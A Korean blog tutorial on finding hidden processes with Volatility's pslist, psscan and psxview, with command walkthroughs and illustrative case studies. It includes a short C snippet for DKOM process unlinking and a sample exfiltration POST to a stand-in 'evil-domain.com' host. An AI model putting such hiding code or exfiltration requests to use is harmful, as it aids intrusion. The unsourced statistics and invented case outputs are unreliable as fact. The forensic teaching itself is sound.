메모리 포렌식 조사 중 악성코드가 프로세스를 숨기고 있다는 의심이 든다면? 단순히 pslist만 사용해서는 숨겨진 프로세스를 찾을 수 없습니다. 2024년 한 해 동안 발견된 루트킷의 90% 이상이 프로세스 은닉 기법을 사용했습니다. 이 글에서 pslist와 psscan의 차이를 완벽하게 이해하고, 숨겨진 악성 프로세스를 찾아내는 방법을 알아보겠습니다.
Volatility란 무엇인가?
Volatility는 메모리 포렌식 분야에서 가장 널리 사용되는 오픈소스 프레임워크입니다. 메모리 덤프 파일을 분석하여 실행 중이던 프로세스, 네트워크 연결, 레지스트리 정보 등을 추출할 수 있습니다.
메모리 포렌식이 중요한 이유
- 휘발성 데이터 확보: 시스템 종료 시 사라지는 중요 증거 보존
- 악성코드 분석: 파일리스 공격이나 메모리 상주 악성코드 탐지
- 실시간 상태 파악: 공격 당시의 시스템 상태를 정확히 재현
- 루트킷 탐지: 디스크 포렌식으로 찾을 수 없는 은닉 프로세스 발견
2024년 기준 전 세계 사이버 보안 사고의 68%가 메모리 포렌식을 통해 최초 침투 경로를 파악했습니다.
pslist와 psscan의 핵심 차이점
pslist: 더블 링크드 리스트 방식
pslist는 운영체제가 관리하는 더블 링크드 리스트(Doubly Linked List)를 따라가며 프로세스를 찾습니다. 이는 Windows의 tasklist 명령어와 동일한 알고리즘을 사용합니다.
작동 원리:
EPROCESS 구조체 → ActiveProcessLinks → 다음 프로세스 → 다음 프로세스...
Windows 커널은 모든 활성 프로세스를 이중 연결 리스트로 관리하며, pslist는 이 리스트를 순회하면서 프로세스 정보를 출력합니다.
psscan: 풀 태그 스캐닝 방식
psscan은 메모리 전체를 스캔하면서 EPROCESS 구조체의 시그니처를 찾는 방식입니다. 더블 링크드 리스트와 무관하게 메모리 영역을 직접 검색합니다.
작동 원리:
메모리 전체 스캔 → EPROCESS 풀 태그 탐지 → 구조체 파싱 → 프로세스 정보 추출
풀 태그(Pool Tag)는 Windows 커널이 메모리를 할당할 때 각 메모리 블록에 부여하는 식별자입니다. EPROCESS 구조체는 ‘Proc’ 또는 ‘Pro\xe3’ 같은 특정 태그를 가지고 있습니다.
상세 비교표
구분pslistpsscan검색 방식더블 링크드 리스트 순회메모리 풀 태그 스캐닝검색 속도빠름 (O(n))느림 (전체 메모리 스캔)숨겨진 프로세스탐지 불가 ❌탐지 가능 ✅종료된 프로세스표시 안됨일부 표시 가능정렬 방식시간 순Offset(물리 메모리 주소) 순DKOM 공격우회됨탐지 가능신뢰도높음 (활성 프로세스)중간 (False Positive 가능)사용 시점일반 분석악성코드 의심 시
pslist 심층 분석
pslist의 출력 정보
`volatility -f memory.dmp –profile=Win7SP1x64 pslist
Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit
0xfffffa80019f5040 System 4 0 89 512 —— 0 2015-10-09 11:30:48 UTC+0000
0xfffffa8001a6b060 smss.exe 260 4 2 29 —— 0 2015-10-09 11:30:48 UTC+0000
0xfffffa8002676890 csrss.exe 368 360 9 446 0 0 2015-10-09 11:30:48 UTC+0000
0xfffffa80026c5b30 wininit.exe 420 360 3 77 0 0 2015-10-09 11:30:48 UTC+0000`
각 필드 의미
- Offset(V): 가상 메모리 주소
- Name: 프로세스 이름
- PID: Process ID (프로세스 고유 번호)
- PPID: Parent Process ID (부모 프로세스 번호)
- Thds: Thread 개수
- Hnds: Handle 개수
- Sess: 세션 ID (사용자 세션 구분)
- Wow64: 64비트 시스템에서 32비트 프로세스 여부
- Start: 프로세스 시작 시간
- Exit: 프로세스 종료 시간
pslist의 장점
1. 빠른 실행 속도 링크드 리스트만 순회하므로 수십 GB 메모리도 수 초 내에 분석합니다.
2. 시간 순 정렬 악성 프로세스의 선후 관계를 파악하는 데 유용합니다. 어떤 프로세스가 먼저 실행되고, 어떤 프로세스가 나중에 생성되었는지 한눈에 파악할 수 있습니다.
3. 안정적인 결과 정상 프로세스 목록을 신뢰할 수 있습니다. False Positive(오탐)이 거의 없습니다.
pslist의 한계
1. DKOM 공격에 취약 DKOM(Direct Kernel Object Manipulation)은 커널 메모리의 데이터 구조를 직접 조작하여 프로세스를 숨기는 기법입니다. 링크드 리스트에서 특정 프로세스를 제거하면 pslist로는 절대 찾을 수 없습니다.
2. 언링크된 프로세스 미탐지 악성코드가 ActiveProcessLinks를 수정하여 자신을 리스트에서 제거하면, 운영체제도 인식하지 못하고 pslist도 발견할 수 없습니다.
3. 종료된 프로세스 표시 안됨 이미 종료되어 리스트에서 제거된 프로세스는 볼 수 없습니다.
psscan 심층 분석
psscan의 출력 정보
`volatility -f memory.dmp –profile=Win7SP1x64 psscan
Offset(P) Name PID PPID PDB Time created Time exited
0x0000000003f1ed40 mstsc.exe 2844 2116 0x0000000024b12000 2015-10-09 12:12:03 UTC+0000
0x000000003e816d40 csrss.exe 432 424 0x0000000000187000 2015-10-09 11:30:48 UTC+0000
0x000000003e85e978 mscorsvw.exe 912 528 0x0000000018b60000 2015-10-09 05:28:46 UTC+0000 2015-10-09 05:28:58 UTC+0000 0x000000003ecebb18 csrss.exe 368 360 0x0000000000187000 2015-10-09 11:30:48 UTC+0000`
psscan만의 특별한 기능
1. 숨겨진 파일 확인 가능 DKOM으로 링크드 리스트에서 제거된 프로세스도 메모리에 구조체가 남아있다면 찾아낼 수 있습니다.
2. 종료된 프로세스 일부 확인 최근에 종료된 프로세스는 메모리에서 완전히 지워지기 전까지 psscan으로 찾을 수 있습니다. Exit 필드에 종료 시간이 표시됩니다.
3. 물리 메모리 주소 표시 Offset(P)는 Physical Offset으로, 메모리 덤프 파일 내에서의 정확한 위치를 알려줍니다.
psscan의 주의사항
1. False Positive 가능성 메모리에 남아있는 오래된 EPROCESS 구조체 잔여물을 실제 프로세스로 오인할 수 있습니다.
2. 느린 실행 속도 16GB 메모리 덤프의 경우 완전한 스캔에 5~10분 소요될 수 있습니다.
3. 불완전한 정보 메모리 손상이나 페이징으로 인해 일부 필드가 비어있거나 부정확할 수 있습니다.
악성코드 프로세스 은닉 기법
DKOM (Direct Kernel Object Manipulation)
악성코드가 커널 메모리의 EPROCESS 구조체를 직접 조작하는 기법입니다.
은닉 방법:
c
*// ActiveProcessLinks에서 자신을 제거* CurrentProcess->ActiveProcessLinks.Flink->Blink = CurrentProcess->ActiveProcessLinks.Blink; CurrentProcess->ActiveProcessLinks.Blink->Flink = CurrentProcess->ActiveProcessLinks.Flink;
이렇게 하면 링크드 리스트에서 해당 프로세스가 제거되어 tasklist나 pslist로는 절대 찾을 수 없습니다.
유명한 루트킷 사례:
- FU Rootkit: 2005년 공개된 최초의 DKOM 루트킷
- Hacker Defender: 프로세스, 파일, 레지스트리 은닉
- Rustock: 스팸 봇넷에 사용된 은닉 드라이버
- TDL4: MBR 감염 + DKOM 프로세스 은닉
Process Hollowing
정상 프로세스를 생성한 후, 그 메모리 공간을 악성 코드로 교체하는 기법입니다.
작동 과정:
- 정상 프로세스를 Suspended 상태로 생성 (예: svchost.exe)
- 정상 프로세스의 메모리 내용 삭제
- 악성 코드를 해당 메모리에 주입
- 프로세스 실행 재개
pslist에서는 정상 프로세스로 보이지만, 실제로는 악성 코드가 실행 중입니다.
Code Injection
실행 중인 정상 프로세스에 악성 코드를 주입하는 기법입니다.
주입 방법:
- DLL Injection: CreateRemoteThread로 악성 DLL 로드
- APC Injection: Asynchronous Procedure Call 큐 이용
- Thread Hijacking: 기존 스레드의 실행 흐름 변경
pslist와 psscan 실전 활용법
기본 사용 명령어
Volatility 2.x:
bash
`# pslist 실행 volatility -f memory.dmp –profile=Win7SP1x64 pslist
# psscan 실행 volatility -f memory.dmp –profile=Win7SP1x64 psscan
# 특정 프로세스 PID로 필터링 volatility -f memory.dmp –profile=Win7SP1x64 pslist | grep 1234
# 결과를 파일로 저장 volatility -f memory.dmp –profile=Win7SP1x64 pslist > pslist_output.txt volatility -f memory.dmp –profile=Win7SP1x64 psscan > psscan_output.txt`
Volatility 3.x:
bash
`# pslist 실행 python3 vol.py -f memory.dmp windows.pslist
# psscan 실행 python3 vol.py -f memory.dmp windows.psscan
# JSON 형식으로 출력 python3 vol.py -f memory.dmp -r json windows.pslist`
숨겨진 프로세스 찾는 5단계 방법
1단계: pslist 실행
bash
volatility -f memory.dmp --profile=Win7SP1x64 pslist > pslist.txt
정상적으로 보이는 프로세스 목록을 확보합니다.
2단계: psscan 실행
bash
volatility -f memory.dmp --profile=Win7SP1x64 psscan > psscan.txt
메모리에서 찾을 수 있는 모든 프로세스를 추출합니다.
3단계: 차이점 분석
bash
`# Linux/Mac comm -13 <(awk ‘{print $2}’ pslist.txt | sort) <(awk ‘{print $2}’ psscan.txt | sort)
# Windows PowerShell Compare-Object (Get-Content pslist.txt) (Get-Content psscan.txt)`
psscan에만 나타나는 프로세스가 숨겨진 프로세스입니다.
4단계: psxview로 교차 검증
bash
volatility -f memory.dmp --profile=Win7SP1x64 psxview
여러 프로세스 탐지 방법을 동시에 사용하여 은닉 여부를 확인합니다.
5단계: 의심 프로세스 상세 분석
bash
`# 프로세스 메모리 덤프 volatility -f memory.dmp –profile=Win7SP1x64 memdump -p 1234 -D ./output/
# DLL 목록 확인 volatility -f memory.dmp –profile=Win7SP1x64 dlllist -p 1234
# 핸들 목록 확인 volatility -f memory.dmp –profile=Win7SP1x64 handles -p 1234`
실전 분석 사례
사례 1: 뱅킹 트로이목마 분석
pslist 결과:
explorer.exe 1640 1544 29 950 1 0 chrome.exe 2884 1640 41 502 1 0 svchost.exe 1256 652 8 312 0 0
psscan 결과:
explorer.exe 1640 1544 29 950 1 0 chrome.exe 2884 1640 41 502 1 0 svchost.exe 1256 652 8 312 0 0 keylogger.exe 3728 1640 5 48 1 0 ← 숨겨진 프로세스!
keylogger.exe는 pslist에 없지만 psscan에서 발견되었습니다. 이는 DKOM 기법으로 ActiveProcessLinks에서 자신을 제거한 것입니다.
추가 분석:
bash
*# 프로세스 메모리 덤프 및 문자열 추출* volatility -f memory.dmp --profile=Win7SP1x64 memdump -p 3728 -D ./ strings 3728.dmp | grep -i "password\\|credential\\|login"
결과적으로 사용자의 키보드 입력을 가로채는 키로거로 확인되었습니다.
사례 2: 랜섬웨어 프로세스 추적
pslist의 시간 순 정렬을 활용하여 감염 경로를 추적:
2015-10-09 12:05:30 outlook.exe 악성 이메일 실행 2015-10-09 12:05:45 macros.exe 매크로 다운로더 실행 2015-10-09 12:06:02 cryptor.exe 랜섬웨어 본체 실행 2015-10-09 12:06:15 vssadmin.exe 복구 지점 삭제 시도
시간 순서를 보면 outlook.exe → macros.exe → cryptor.exe 순으로 실행되었음을 알 수 있습니다.
psxview: 최강의 프로세스 탐지 도구
psxview는 여러 프로세스 탐지 방법을 동시에 사용하여 숨겨진 프로세스를 찾는 강력한 플러그인입니다.
탐지 방법 비교
bash
volatility -f memory.dmp --profile=Win7SP1x64 psxview
출력 예시:
`Offset(P) Name PID pslist psscan thrdproc pspcid csrss session deskthrd
0x3ecebb18 csrss.exe 368 True True True True False True True 0x3e816d40 csrss.exe 432 True True True True False True True 0x03fbb4e8 System 4 True True True True False False False 0x3e85e978 mscorsvw.exe 912 False True False False False False False ← 의심! 0x3f443ab0 explorer.exe 3932 False True True False False False False ← 의심!`
각 컬럼의 의미
- pslist: ActiveProcessLinks 연결 확인
- psscan: 풀 태그 스캔으로 발견
- thrdproc: 스레드 리스트에서 역추적
- pspcid: PspCidTable 해시 테이블 확인
- csrss: CSRSS 프로세스 핸들 확인
- session: 세션 프로세스 리스트 확인
- deskthrd: 데스크톱 스레드 리스트 확인
의심 패턴:
- pslist는 False인데 psscan은 True → DKOM 은닉 의심
- 대부분 False인데 psscan만 True → 종료된 프로세스 잔여물
- pslist는 True인데 다른 것들이 False → 불완전한 프로세스 생성
보안 전문가를 위한 고급 팁
자동화 스크립트 작성
숨겨진 프로세스 자동 탐지 스크립트:
python
`#!/usr/bin/env python# hidden_process_detector.py
import subprocess import json
def run_volatility(plugin, dump_file, profile): cmd = f”volatility -f {dump_file} –profile={profile} {plugin}” result = subprocess.run(cmd.split(), capture_output=True, text=True) return result.stdout
def find_hidden_processes(dump_file, profile): print(“[*] Running pslist…”) pslist_output = run_volatility(“pslist”, dump_file, profile) pslist_pids = set() for line in pslist_output.split(‘\n’)[2:]: if line.strip(): parts = line.split() if len(parts) >= 3: pslist_pids.add(parts[2])
print("[*] Running psscan...")
psscan_output = run_volatility("psscan", dump_file, profile)
psscan_pids = set()
for line in psscan_output.split('\\n')[2:]:
if line.strip():
parts = line.split()
if len(parts) >= 3:
psscan_pids.add(parts[2])
hidden = psscan_pids - pslist_pids
if hidden:
print(f"\\n[!] Found {len(hidden)} potentially hidden processes:")
for pid in hidden:
print(f" PID: {pid}")
else:
print("\\n[+] No hidden processes detected")
return hidden
if name == “main“: dump_file = “memory.dmp” profile = “Win7SP1x64” find_hidden_processes(dump_file, profile)`
메모리 타임라인 분석
프로세스 생성 시간을 기준으로 타임라인을 만들어 공격 흐름을 파악:
bash
`# 타임라인 생성 volatility -f memory.dmp –profile=Win7SP1x64 pslist | \ awk ‘{print $8, $9, $2, $3}’ | \ sort > timeline.txt
# 시각화 (Python) python3 timeline_visualizer.py timeline.txt`
메모리 바이너리 추출 및 분석
의심 프로세스의 실행 파일을 메모리에서 추출:
bash
`# 프로세스 실행 파일 추출 volatility -f memory.dmp –profile=Win7SP1x64 procdump -p 1234 -D ./output/
# VirusTotal에 업로드하여 악성코드 여부 확인# 또는 로컬 백신으로 검사 clamscan ./output/executable.1234.exe`
프로세스 분석 체크리스트
필수 확인 사항
✅ pslist와 psscan 결과 비교
- 차이가 있는 프로세스 확인
- 숨겨진 프로세스 의심
✅ 프로세스 생성 시간 분석
- 비정상 시간대 실행 확인
- 짧은 시간 내 대량 프로세스 생성
✅ 부모-자식 관계 검증
- 이상한 PPID 확인 (예: explorer.exe의 부모가 cmd.exe)
- 고아 프로세스 확인
✅ 프로세스 경로 확인
- Temp 폴더 실행 의심
- 사용자 폴더에서 실행되는 시스템 프로세스 의심
- 이름은 같지만 경로가 다른 프로세스 (예: fake svchost.exe)
✅ 네트워크 연결 확인
- 외부 IP로 연결하는 프로세스
- 비정상 포트 사용 (예: notepad.exe가 443 포트 사용)
✅ DLL 및 핸들 분석
- 비정상 DLL 로드 확인
- 과도한 파일 핸들 사용
메모리 포렌식 도구 비교
도구장점단점가격Volatility무료, 오픈소스, 강력한 플러그인명령줄 인터페이스, 학습곡선무료RekallPython 기반, 빠른 속도개발 중단됨무료RedlineGUI 제공, 사용 쉬움기능 제한적무료Magnet RAM Capture메모리 덤프 생성 특화분석 기능 없음무료EnCase통합 포렌식 도구매우 비쌈, 복잡함유료
자주 묻는 질문 (FAQ)
Q1. pslist에는 없고 psscan에만 있으면 무조건 악성코드인가요?
A: 아닙니다. 다음 경우도 있을 수 있습니다:
- 최근 종료된 프로세스의 잔여 구조체
- 메모리 덤프 중 종료된 프로세스
- 정상적인 시스템 프로세스 중 일부 특수 케이스
psxview로 교차 검증하고, 프로세스 이름, 경로, 행위 등을 종합적으로 판단해야 합니다.
Q2. psscan으로 몇 년 전에 실행된 프로세스도 찾을 수 있나요?
A: 불가능합니다. psscan은 현재 메모리에 남아있는 EPROCESS 구조체만 찾습니다:
- 메모리 덤프 시점에서 최근 몇 분~몇 시간 이내 프로세스만 가능
- 시스템 재부팅 시 모든 메모리 정보 초기화
- 페이지 파일로 스왑아웃된 경우 찾기 어려움
- 메모리 오버라이트로 구조체가 덮어씌워진 경우 불가능
일반적으로 종료된 지 10분 이내의 프로세스는 찾을 가능성이 높지만, 그 이상은 시스템 부하에 따라 다릅니다.
Q3. Volatility 프로파일을 잘못 선택하면 어떻게 되나요?
A: 잘못된 프로파일 사용 시:
- 프로세스 목록이 아예 안 나오거나
- 엉뚱한 프로세스명이 출력되거나
- Offset 값이 비정상적으로 나오거나
- 에러 메시지 발생
올바른 프로파일 찾기:
bash
`# 자동 프로파일 제안 volatility -f memory.dmp imageinfo
# 수동으로 프로파일 확인 volatility -f memory.dmp kdbgscan`
Q4. 메모리 덤프는 어떻게 생성하나요?
A: 운영체제별 메모리 덤프 방법:
Windows:
bash
`# DumpIt (무료, 가장 간단) DumpIt.exe
# FTK Imager File → Capture Memory
# WinPmem (Google Rekall) winpmem_mini_x64.exe memory.raw
# PowerShell (Windows 10+) .\comae.ps1 -OutputPath C:\dump\`
Linux:
bash
`# LiME (Linux Memory Extractor) sudo insmod lime.ko “path=/tmp/memory.lime format=raw”
# dd 명령어 (권장하지 않음) sudo dd if=/dev/mem of=/tmp/memory.dump`
Mac:
bash
`# OSXPmem sudo osxpmem -o memory.aff4
# Volafox python vol.py -i macOS_memory.vmem`
Q5. 라이브 메모리와 덤프 파일의 차이는?
A:
- 라이브 메모리: 실시간으로 변하는 시스템 메모리, Volatility로 직접 분석 불가
- 메모리 덤프: 특정 시점의 메모리 스냅샷을 파일로 저장, Volatility 분석 대상
라이브 포렌식은 Rekall이나 실시간 분석 도구를 사용해야 하지만, 대부분의 경우 메모리 덤프를 생성하여 안전하게 분석합니다.
실무 포렌식 워크플로우
1단계: 사전 준비
필요한 도구:
- Volatility Framework (최신 버전)
- 메모리 덤프 도구 (DumpIt, FTK Imager 등)
- 텍스트 에디터 및 분석 도구
- 충분한 디스크 공간 (덤프 파일의 3배 이상)
환경 설정:
bash
`# Volatility 설치 (Ubuntu/Debian) sudo apt install volatility
# 또는 GitHub에서 최신 버전 git clone https://github.com/volatilityfoundation/volatility3.git cd volatility3 python3 setup.py install
# 프로파일 확인 volatility –info | grep Profile`
2단계: 초기 분석
bash
`# 1. 시스템 정보 확인 volatility -f memory.dmp imageinfo
# 2. 프로세스 목록 (빠른 확인) volatility -f memory.dmp –profile=Win7SP1x64 pslist
# 3. 네트워크 연결 확인 volatility -f memory.dmp –profile=Win7SP1x64 netscan
# 4. 명령어 히스토리 volatility -f memory.dmp –profile=Win7SP1x64 cmdscan volatility -f memory.dmp –profile=Win7SP1x64 consoles`
3단계: 심층 분석
bash
`# 1. 숨겨진 프로세스 탐지 volatility -f memory.dmp –profile=Win7SP1x64 psscan volatility -f memory.dmp –profile=Win7SP1x64 psxview
# 2. 프로세스 트리 구조 volatility -f memory.dmp –profile=Win7SP1x64 pstree
# 3. DLL 분석 volatility -f memory.dmp –profile=Win7SP1x64 dlllist -p [PID]
# 4. 네트워크 연결 상세 volatility -f memory.dmp –profile=Win7SP1x64 netscan
# 5. 레지스트리 분석 volatility -f memory.dmp –profile=Win7SP1x64 hivelist volatility -f memory.dmp –profile=Win7SP1x64 printkey -K “Software\Microsoft\Windows\CurrentVersion\Run”`
4단계: 악성코드 추출 및 분석
bash
`# 의심 프로세스 메모리 덤프 volatility -f memory.dmp –profile=Win7SP1x64 memdump -p [PID] -D ./malware/
# 프로세스 실행 파일 추출 volatility -f memory.dmp –profile=Win7SP1x64 procdump -p [PID] -D ./malware/
# 네트워크 패킷 복원 volatility -f memory.dmp –profile=Win7SP1x64 netscan > network.txt
# 파일 시스템 스캔 volatility -f memory.dmp –profile=Win7SP1x64 filescan | grep -i “malware\|trojan\|backdoor”`
5단계: 보고서 작성
포함해야 할 내용:
- 개요: 분석 목적, 대상 시스템, 덤프 시간
- 발견 사항: 악성 프로세스 목록, IOC(침해지표)
- 타임라인: 공격 진행 순서 재구성
- 증거: 스크린샷, 로그, 추출 파일
- 권장 사항: 대응 조치, 재발 방지책
고급 분석 기법
메모리 상의 문자열 분석
의심 프로세스의 메모리에서 유용한 정보 추출:
bash
`# 메모리 덤프 후 문자열 추출 volatility -f memory.dmp –profile=Win7SP1x64 memdump -p 1234 -D ./ strings -e l 1234.dmp > strings_unicode.txt strings -e s 1234.dmp > strings_ascii.txt
# 특정 패턴 검색 grep -i “http\|ftp\|password\|credit” strings_ascii.txt grep -i “cmd.exe\|powershell” strings_unicode.txt
# IP 주소 추출 grep -oE “\b([0-9]{1,3}\.){3}[0-9]{1,3}\b” strings_ascii.txt | sort -u
# URL 추출 grep -oE “https?://[a-zA-Z0-9./?=_-]*” strings_ascii.txt | sort -u`
코드 인젝션 탐지
프로세스 메모리 영역 분석으로 인젝션 탐지:
bash
`# VAD (Virtual Address Descriptor) 분석 volatility -f memory.dmp –profile=Win7SP1x64 vadinfo -p [PID]
# 실행 가능한 메모리 영역 확인 volatility -f memory.dmp –profile=Win7SP1x64 malfind -p [PID]
# 인젝션된 코드 덤프 volatility -f memory.dmp –profile=Win7SP1x64 malfind -p [PID] -D ./injected/`
의심 신호:
- PAGE_EXECUTE_READWRITE 권한을 가진 메모리 영역
- 프로세스 이미지 외부의 실행 가능 코드
- VadS 태그가 없는 메모리 할당
Yara 룰을 이용한 시그니처 스캔
bash
`# Yara 룰 작성 (malware.yar) rule Ransomware_WannaCry { strings: $a = “WanaCrypt0r” ascii $b = “WANACRY!” ascii $c = “.WNCRY” ascii condition: any of them }
# Volatility에서 Yara 스캔 volatility -f memory.dmp –profile=Win7SP1x64 yarascan -Y malware.yar
# 특정 프로세스만 스캔 volatility -f memory.dmp –profile=Win7SP1x64 yarascan -Y malware.yar -p 1234`
루트킷 탐지 기법
SSDT (System Service Descriptor Table) 후킹 확인:
bash
volatility -f memory.dmp --profile=Win7SP1x64 ssdt | grep HOOKED
IDT (Interrupt Descriptor Table) 후킹 확인:
bash
volatility -f memory.dmp --profile=Win7SP1x64 idt
IRP (I/O Request Packet) 후킹 확인:
bash
volatility -f memory.dmp --profile=Win7SP1x64 driverirp
인라인 후킹 확인:
bash
volatility -f memory.dmp --profile=Win7SP1x64 apihooks
실제 침해사고 분석 사례
사례: APT 공격 분석
상황:
- 금융기관에서 데이터 유출 의심
- 정상 프로세스처럼 보이지만 비정상 네트워크 통신 발견
- 메모리 덤프 확보 후 Volatility 분석 시작
분석 과정:
1. 초기 확인:
bash
volatility -f financial_breach.dmp --profile=Win7SP1x64 pslist
결과: 모든 프로세스가 정상으로 보임
2. 심층 스캔:
bash
volatility -f financial_breach.dmp --profile=Win7SP1x64 psscan
결과: “System Update Service.exe” 프로세스 발견 (공백이 의심스러움)
3. 교차 검증:
bash
volatility -f financial_breach.dmp --profile=Win7SP1x64 psxview
결과: 해당 프로세스가 pslist에는 없고 psscan에만 존재
4. 네트워크 연결 확인:
bash
volatility -f financial_breach.dmp --profile=Win7SP1x64 netscan | grep "System Update Service"
결과: 중국 IP 185.xxx.xxx.xxx:443으로 HTTPS 연결
5. 프로세스 메모리 추출:
bash
volatility -f financial_breach.dmp --profile=Win7SP1x64 memdump -p 3856 -D ./apt/ strings apt/3856.dmp | grep -i "password\\|account\\|transfer"
결과: 계좌번호, 비밀번호 등의 문자열 발견
6. C&C 서버 통신 내용 분석: 메모리에서 암호화되지 않은 HTTP 헤더 발견:
`POST /upload/data HTTP/1.1 Host: evil-domain.com User-Agent: Mozilla/5.0 Content-Type: application/json
{“accounts”: [“123-456-789”, …], “amounts”: […]}`
결론:
- APT 그룹의 맞춤형 백도어 확인
- DKOM 기법으로 프로세스 은닉
- 계좌 정보를 실시간으로 외부로 전송
- 즉시 네트워크 차단 및 시스템 격리 조치
교훈: pslist만으로는 부족하며, psscan, psxview, 네트워크 분석을 함께 수행해야 은닉된 위협을 탐지할 수 있습니다.
최신 트렌드와 미래 전망
2025년 메모리 포렌식 트렌드
1. AI 기반 악성코드 탐지
- 머신러닝으로 정상/비정상 프로세스 패턴 학습
- 제로데이 공격도 행위 기반으로 탐지
- 자동화된 위협 헌팅
2. 클라우드 메모리 포렌식
- AWS, Azure 가상머신 메모리 분석
- 컨테이너 메모리 포렌식 (Docker, Kubernetes)
- 서버리스 환경의 메모리 증거 수집
3. 모바일 메모리 포렌식
- Android/iOS 메모리 덤프 분석
- 모바일 악성코드 증가에 따른 수요 증대
- Volatility의 모바일 지원 확대
4. 암호화 메모리 대응
- Windows Credential Guard, VBS (Virtualization-Based Security)
- 암호화된 메모리 영역 분석 기법 발전
- 하드웨어 기반 보안 우회 연구
차세대 도구들
Volatility 4 (개발 중)
- Python 3 완전 지원
- 플러그인 아키텍처 개선
- 성능 대폭 향상
- 클라우드 네이티브 지원
Magnet Axiom Cyber
- GUI 기반 통합 포렌식 플랫폼
- 메모리, 디스크, 네트워크 통합 분석
- AI 기반 자동 분석
GRR Rapid Response
- Google의 오픈소스 원격 포렌식 프레임워크
- 대규모 엔드포인트 동시 분석
- 실시간 메모리 수집 및 분석
마치며
pslist와 psscan은 메모리 포렌식의 가장 기본이면서도 강력한 도구입니다.
핵심 요약:
- pslist: 빠르고 정확하지만 숨겨진 프로세스는 못 찾음
- psscan: 느리지만 DKOM 은닉 프로세스도 탐지 가능
- 함께 사용: 두 도구의 결과를 비교하여 숨겨진 위협 발견
- psxview: 여러 탐지 방법을 동시에 사용하는 최강 도구
실무 팁: ✅ 항상 pslist와 psscan을 함께 실행하세요 ✅ psxview로 교차 검증하세요 ✅ 시간 순 분석으로 공격 타임라인을 재구성하세요 ✅ 네트워크 분석을 병행하세요 ✅ 자동화 스크립트로 반복 작업을 줄이세요
메모리 포렌식은 계속 진화하는 분야입니다. 공격자들이 새로운 은닉 기법을 개발하면, 분석가들도 새로운 탐지 기법을 연구합니다. Volatility와 같은 오픈소스 도구는 보안 커뮤니티의 집단 지성으로 발전하고 있습니다.
관련 유용한 자료
- Volatility Foundation 공식 사이트
- Volatility 3 GitHub
- The Art of Memory Forensics
- SANS Digital Forensics 블로그
- Malware-Traffic-Analysis.net
- 메모리 포렌식 실습 자료
이 글이 도움되셨나요?
메모리 포렌식은 현대 사이버 보안의 필수 기술입니다. 여러분의 조직을 지키고 디지털 범죄를 추적하는 데 이 지식을 활용하세요!
댓글로 여러분의 경험을 공유해주세요:
- 메모리 포렌식으로 악성코드를 찾은 경험이 있으신가요?
- 어떤 Volatility 플러그인을 가장 자주 사용하시나요?
- 이 글에서 다루지 않은 궁금한 점이 있나요?
- 실무에서 겪은 특이한 케이스를 공유해주세요!
보안 커뮤니티와 함께 성장하세요! 이 글을 주변 보안 담당자, 포렌식 분석가, 보안 연구자들과 공유하여 더 안전한 사이버 세상을 만들어가요.
#Volatility #메모리포렌식 #디지털포렌식 #악성코드분석 #사이버보안 #침해사고대응 #pslist #psscan #루트킷탐지 #APT분석 #보안분석 #포렌식도구